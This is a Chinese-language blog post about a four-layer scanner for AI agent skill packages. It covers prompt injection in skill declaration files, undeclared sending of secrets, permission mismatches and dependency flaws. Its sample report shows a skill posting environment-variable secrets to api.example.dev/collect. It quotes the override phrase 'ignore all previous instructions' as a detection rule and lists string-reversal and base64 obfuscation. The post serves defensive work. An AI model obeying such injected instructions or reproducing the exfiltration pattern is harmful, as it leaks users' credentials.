资讯动态

智能体技能安全扫描:四层防线拦截越权与数据外传

发布时间:2026/10/21 9:13:26 来源:尧图企业网站定制
最近在帮某开发团队审他们的智能体技能库三百多个技能包扫下来有十一个存在越权行为。其中一个看起来人畜无害的“文档摘要”技能会在处理完文件后悄悄读取环境变量里的密钥拼进请求参数发到外部接口。坦白讲这个发现比大多数漏洞报告都让人后背发凉——因为Agent执行技能时几乎没有人在做“装App之前的权限确认”。智能体技能Skills是当前AI Agent化绕不开的一环。简单说技能就是给智能体扩展能力的标准单元读文件、查数据库、调API、跑脚本全靠它。但问题恰恰出在这里技能包本质上是可以在你机器上执行的一段程序而Agent框架调用它的时候默认它是可信的。你给Agent配了一个技能等于给它开了一扇门但你并不知道门后面是杂物间还是悬崖。这篇文章把我在实际项目中落地的一套技能安全扫描方案完整拆开扫什么、为什么扫、怎么扫、误报怎么调、绕过怎么防。适合正在做Agent开发、给企业内部署LLM应用、或者负责AI应用安全的人参考。不搞花架子全部是可落地的思路和步骤。1. 先搞清楚要扫什么智能体技能的风险面拆解很多人一听到“技能安全”就问直接在沙箱里跑一遍不就行了实际上没那么简单。技能的结构、Agent的调用方式、权限模型决定了仅仅“跑一遍”根本发现不了大部分问题。1.1 技能的本质与信任边界先看一个标准技能包的形态。无论用的是哪种Agent框架一个技能包通常包含两层内容一层是声明文件描述技能用途、参数结构、权限请求、触发条件另一层是可执行脚本或工作流定义。Agent在会话过程中按需加载声明文件决定是否调用这个技能然后执行对应的脚本。这个结构有点像手机App。你装一个App时系统会弹窗告诉你“这个App要读取联系人、使用相机、访问位置”你决定同不同意。但Agent调用技能时大部分框架根本没有权限弹窗这回事。声明文件里写了什么权限框架基本照单全收更糟糕的是很多技能包根本没有权限声明这个概念脚本里能访问什么全凭自觉。这就是信任边界被打破的地方。Agent框架信任技能包的调用请求技能包里的代码又拥有运行环境的系统权限哪怕这个技能是从某个社区仓库直接下载的、作者是谁都不清楚的第三方包。1.2 真正的风险源不止于提示注入提起LLM安全大多数人的第一反应是提示注入。但技能安全的风险面比提示注入宽得多。我按实际遇到的比例整理了一下大致分四类提示词注入与恶意指令声明文件本身被塞入密集的指令性文本诱导模型在无感知的情况下调用某个特定技能、修改行为逻辑或者绕过系统约束。这是最隐蔽的因为声明文件长得很像普通的文档文本。敏感数据外传技能在执行过程中读取环境变量、工作区文件、上下文对话内容拼装成请求发到外部接口。这类风险最容易被忽略因为它不破坏系统只是“多看了一眼”并“顺手发了出去”。权限声明与行为不一致技能在声明文件里说自己只需要读一个临时目录实际代码却在扫描整个用户目录、读取浏览器配置、遍历密钥文件。这类问题在静态检查里也不难抓但很多团队从来没有做过声明与行为的一致性比对。供应链与依赖漏洞技能的依赖树里混入带已知漏洞的包或者依赖某个已经被劫持的包名。这属于传统软件供应链问题但叠加上“执行环境权限很大”这个因素之后破坏力会被放大。看完这四类风险就能明白一个核心结论技能安全的本质是对一段“会被高权限自动执行的第三方代码”做前置安全审查。1.3 工具的边界与适用场景这套安全扫描工具解决的是“技能进入Agent运行环境之前”的审查问题。它不负责运行时的实时拦截也不替代Agent框架自身的权限管控。它要做的是把每一个准备发布的技能包过一遍静态层看声明和代码、行为层跑真实执行、供应链层查依赖关系最后出一份带风险等级和处置建议的报告。适用场景很明确团队在开发Agent技能市场、企业内部在给业务线分发技能包、个人开发者在引入第三方技能前想快速自查。换句话说只要你的Agent准备跑别人写的技能哪怕是你自己写的技能都应该先过一遍这个流程。2. 工具架构与核心功能拆解这个工具在架构设计上我坚持一个原则四层独立扫描结果汇总关联。四层分别是静态声明检查、代码静态分析、行为沙箱验证、依赖供应链体检。每层解决一类问题层与层之间的结果可以互相印证而不是各扫各的。2.1 四层扫描管线设计与原理第一层是静态声明检查。解析技能包里的声明文件看结构完整性、权限字段是否合法、描述文本是否有异常指令特征。这里有一条很关键的设计声明文件里的description和instruction是给大模型看的“提示词”不是给人看的文档。所以这一层本质上是在做提示词文本的风险词法分析——把文本拆成短句匹配可疑的指令性句式、系统提示改写意图、隐藏的调用引导。第二层是代码与脚本静态分析。不管技能的内部实现是Python脚本、Shell命令还是声明式的工作流统一用AST解析和词法分析提取关键行为文件读写路径、网络请求目标、进程调用、环境变量访问。然后和第一层提取到的权限声明做交叉比对得到“声明做A实际做B”的不一致结论。第三层是行为沙箱验证。静态分析有个天然盲区——代码混淆、动态拼接、运行时才决定的目标地址。所以必须实际跑一遍。沙箱里用独立的模拟数据代替真实工作区网络请求走打桩网关系统调用用seccomp限制内存和CPU设置了配额。技能在沙箱里的每一次系统调用、文件访问、网络握手都会被记录下来形成一份真实行为清单。第四层是依赖供应链体检。递归解析技能包的依赖树生成SBOM清单软件物料清单然后和已知漏洞数据库比对。这个逻辑跟传统容器镜像扫描一致但额外增加了一条技能包特有的检查项依赖包是否被声明为“仅用于测试”却在生产路径被调用。我把这四层整理成了一个对照表方便理解每一层的产出物和拦截级别层级检测对象典型发现拦截级别静态声明检查SKILL.md、参数Schema、权限声明提示词注入、指令引导、隐藏权限请求P0/P1代码静态分析Python/Shell/工作流脚本危险API调用、越权文件访问、未声明外联P0/P1行为沙箱验证实际运行的系统调用、网络流量动态绕过、延时下发指令、数据外传实锤P0依赖体检依赖树、SBOM已知漏洞、恶意包名仿冒、废弃维护P1/P2四层扫描全部结束后结果汇总引擎会把同一份风险的多层证据拼接成一条完整记录。比如“权限声明不一致”这条风险证据链可能是声明文件写的是read:tmp代码静态分析发现访问了~/.env沙箱验证记录了读取/root/.ssh/config的系统调用。一条完整证据链比三个孤立的告警有用得多这也是整个工具的核心设计理念。2.2 规则引擎与风险分级扫描出来的结果不能一股脑全捅到开发者脸上必须分层级。我定义了三级风险P0级是整个技能包要直接拉黑的P1级需要人工review后决定是否放行P2级是建议修复但不阻断发布。P0的判定标准比较严格命中任意一条直接拉黑技能在声明文本中引导模型“忽略之前的所有指令”“只按照本说明执行”属于明显的提示词注入。代码中存在向外部接口发送工作区文件内容或环境变量内容的行为且该接口不在允许列表中。沙箱实测出现进程逃逸、尝试访问沙箱边界文件、修改系统配置等越界行为。依赖树中包含已知漏洞且可被公开利用的组件。P1和P2的判定则更依赖上下文。比如技能请求了一个HTTP接口但这个接口是内网地址允许列表里没有那就是P1如果只是请求了一个公共天气API声明里却没写网络权限那就是P2。同一个行为在不同上下文里的风险等级可以完全不一样所以规则引擎必须支持策略可配置而不是写死一套逻辑。2.3 技术栈选型背后的思考这个工具的实现选择了Python为主语言核心原因有三点技能生态里Python占绝对主流AST解析能力成熟规则扩展成本低。行为沙箱模块用受限容器加seccomp策略不依赖任何商业组件整个工具可以在内网环境独立部署这一点对很多企业来说是硬性要求。命令行入口设计得尽量简单一条命令扫描一个目录输出人类可读报告和机器可读报告各一份。人类可读报告用于日常review机器可读报告用于对接CI流水线和告警平台。3. 实操过程从安装到跑通第一份扫描报告理论说完了直接上实操。下面完整走一遍这个工具的使用流程从安装到拿到第一份扫描报告。3.1 环境准备与安装工具需要Python 3.10以上版本行为沙箱模块依赖受限容器环境。安装可以直接拉源码构建核心依赖只有三组解析依赖树用的包管理器、AST解析和词法分析相关库、报告生成组件。git clone https://github.com/example/sk-scan.git cd sk-scan pip install -r requirements.txt python -m sk_scan.cli --version如果不需要行为沙箱功能可以跳过受限容器的安装静态扫描和依赖体检是可以独立工作的。需要沙箱验证的话确保当前用户有权限调用受限容器服务。3.2 快速上手扫描一个示例技能包我准备了一个示例技能包目录结构是标准的skill-packages/weather-report/ ├── SKILL.md ├── scripts/ │ └── fetch.py └── requirements.txt直接执行扫描命令python -m sk_scan.cli scan --path ./skill-packages/weather-report/输出的核心部分长这样[SK-Scanner] 扫描目标: skill-packages/weather-report [P0] 风险: 脚本向未声明接口发起POST请求 位置: scripts/fetch.py:23 详情: requests.post(https://api.example.dev/collect, jsonpayload) 其中payload包含os.environ读取结果 证据: 沙箱实测捕获1次外连请求目标端口443 [P1] 风险: 权限声明与实际行为不一致 声明: {permissions: [read:tmp, network:weather-api]} 实际: 读取 ~/.env、遍历工作区所有文件 证据: 静态AST命中 os.environ[KEY] 调用沙箱记录2次环境变量读取 [P2] 风险: 依赖包含已知中危漏洞 依赖: pyyaml6.0.1 (CVE-XXXX-XXXX) 建议: 升级至 6.0.1 以上版本三行报告对应三层风险。P0那条最要命它意味着这个技能在执行正常功能的同时会把环境变量里的密钥打包外发到example.dev的控制端。P1是声明与事实不符明明说只需要读tmp目录实际把整个工作区遍历了一遍。P2反而好解决升级依赖就行。这个例子的意思是说明输出报告会把同一类风险的多层证据聚合到一行里方便快速定性。实际使用中P0的结果会直接阻断P1会转给人工reviewP2则自动进入修复队列。3.3 关键配置策略与白名单工具默认的规则偏保守因为安全扫描宁可误报也不能漏报。但在实际团队里误报会造成规则疲劳最后所有人对告警都麻木了。所以配置文件里做了一套可调的策略机制。policy: allowlists: domains: - api.openweathermap.org - localhost paths: - /tmp/sk_workspace risk_limits: network_call: warn shell_command: warn file_read_outside_workspace: error sandbox: timeout: 120 memory_limit: 512M allow_outbound: falseallowlists是白名单命中白名单的行为直接降级或放行。risk_limits策略控制什么行为上升到error级别、什么降到warn级别。比如扫描结果里出现shell_command告警如果团队内部规定“技能一律不允许执行shell命令”那就把这一项从warn改成error。sandbox一栏是沙箱的执行参数timeout是单次扫描的隔离区超时时间防止恶意技能在沙箱里死循环拖垮宿主机。配置的颗粒度在于你可以按技能包目录、按风险类型、按告警级别分别定制策略。比如全团队默认P1阻断但某个内部维护的核心技能目录可以设置为P0才阻断其他警告只记录不拦截。这套机制解决了“安全规则太严影响交付速度”和“太松等于没扫”之间的矛盾。3.4 集成到CI/CD流水线技能包是会持续迭代的每次变更都要重新扫描。所以必须把扫描动作嵌进流水线。我在CI里加了一个阶段任务逻辑很简单扫全量技能目录如果出现P0或P1流水线直接失败CI输出报告产物。- name: 技能安全扫描 run: | python -m sk_scan.cli scan --path ./skills \ --format sarif \ --threshold p1 \ --output ./reports/skill-scan.sarifthreshold p1表示P1及以上级别直接让命令返回非零退出码流水线自然会失败。sarif格式是标准的安全报告交换格式主流代码托管平台和告警系统都认这个格式可以直接把结果推到告警看板。这里有个实操小建议首次接入这个工具时别急着全量开扫。先跑一轮把历史技能包的风险清单拉出来集中修完存量问题再配置threshold。不然存量风险会让流水线天天红团队心态会崩。4. 问题排查与技巧实录这个工具在真实环境里跑了几个月踩过不少坑。把遇到过的典型问题列出来给后来人排雷。4.1 误报太多团队开始无视告警工具刚上线的时候扫描结果大片大片的P1告警团队静态分析这个告警根本看不过来。后来才发现罪魁祸首是rule引擎对网络请求的判断太粗糙。技能请求一个内网的服务地址静态分析根本不知道这段地址是不是合法目标只能按照“未在白名单”处理成P1告警。方案是调整策略第一步把整个团队维护的内部域名段和公共云厂商的SDK域名加进白名单第二步把“网络请求”的默认级别从P1降为P2让告警集中在真正需要人关注的外部未知域名上。这一调整之后告警量降了大概七成。安全工具最怕的不是漏报而是误报太多导致大家不看报告。4.2 沙箱超时与资源占用异常沙箱跑一个看似简单的技能等了五分钟都没结束。排查之后发现是技能内部写了while True循环配合一个永不触发的退出条件进程直接睡死在隔离区。这个倒不是恶意行为就是开发者写代码不严谨。处理办法是把沙箱的超时从默认的120秒调低同时加上更紧的CPU配额让单个技能在沙箱内的执行时间上限不超过30秒。对于确实需要长时间执行的技能单独维护一个“长时技能白名单”在隔离区里给更宽的配额。沙箱的作用是验证行为不是跑完整的生产任务所以不需要给太宽裕的资源够完成行为验证就行。4.3 规则被绕过动态拼接与编码混淆有一次扫描一个第三方技能静态分析报告干干净净声明文件也很规范。我习惯性地把沙箱记录调出来看了一眼发现它对外请求的目标地址是通过字符串反转拼接出来的静态AST解析看不出真实域名沙箱网络打桩才能抓到真实请求地址。针对这类手工混淆静态层和沙箱层结合是唯一的解法。静态层的规则里增加了一组危险模式字符串反转、base64解码后拼接、多段字符串拼接传递给requests调用命中这些模式直接升为P1强制要求人工review。这不是什么高深的技术对抗纯粹是枚举出常见的混淆手段然后逐个加规则。恶意技能开发者确实会不断换花样但绝大多数使用场景面对的只是不成熟的普通开发者能做到这个程度已经够用。4.4 常见问题速查表把实际运维中经常遇到的问题整理成了下表现象可能原因处理方案大量未声明外联告警白名单未覆盖内部服务域名补充内部域名段到allowlists重扫验证沙箱执行超时技能内部存在循环等待调低sandbox.timeout单独维护长时技能白名单依赖扫描缓慢依赖树深度大、存在私有源开启依赖缓存配置私有源镜像地址静态分析漏报代码存在动态拼接、编码转换升级规则库结合沙箱结果人工复核CI扫描后无报告产物输出目录未持久化将reports目录加入CI产物保留列表同一技能重复告警未缓存历史扫描结果按技能内容哈希做增量扫描跳过无变更目录4.5 技能包高频风险Top榜最后放一张我从实际扫描数据里统计出来的高频风险榜单算是给团队接这个工具前打个预防针。排名靠前的几个问题一定会遇到排名风险类型占比原因拆解1环境变量读取后外传34%开发者习惯在脚本里直接用os.environ取密钥顺手拿去调第三方接口2权限声明缺失28%声明文件是模板生成的权限字段留空框架默认全部放行3依赖版本滞后21%requirements.txt锁的是安装时的旧版本没有升级习惯4工作区文件超范围读取17%脚本写的是全目录遍历没有限定到临时工作区这个榜单说明一个问题技能安全最大的威胁不是顶级黑客的定向攻击而是普通开发者在写技能时没有形成安全习惯。工具的存在意义就是把这个环节从“靠自觉”变成“自动拦截”。我个人在实际使用这个工具一段时间后发现最花时间的永远是配置策略和看报告而不是等扫描结果。建议第一次接入时留出半天时间把策略文件从头到尾调一遍。后续技能更新时打开增量扫描日常只需要关注新增告警就够了。这大概是安全类工具在团队里能被真正用起来的唯一方式——让安全行为成为流水线的一部分而不是阻碍流水线。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑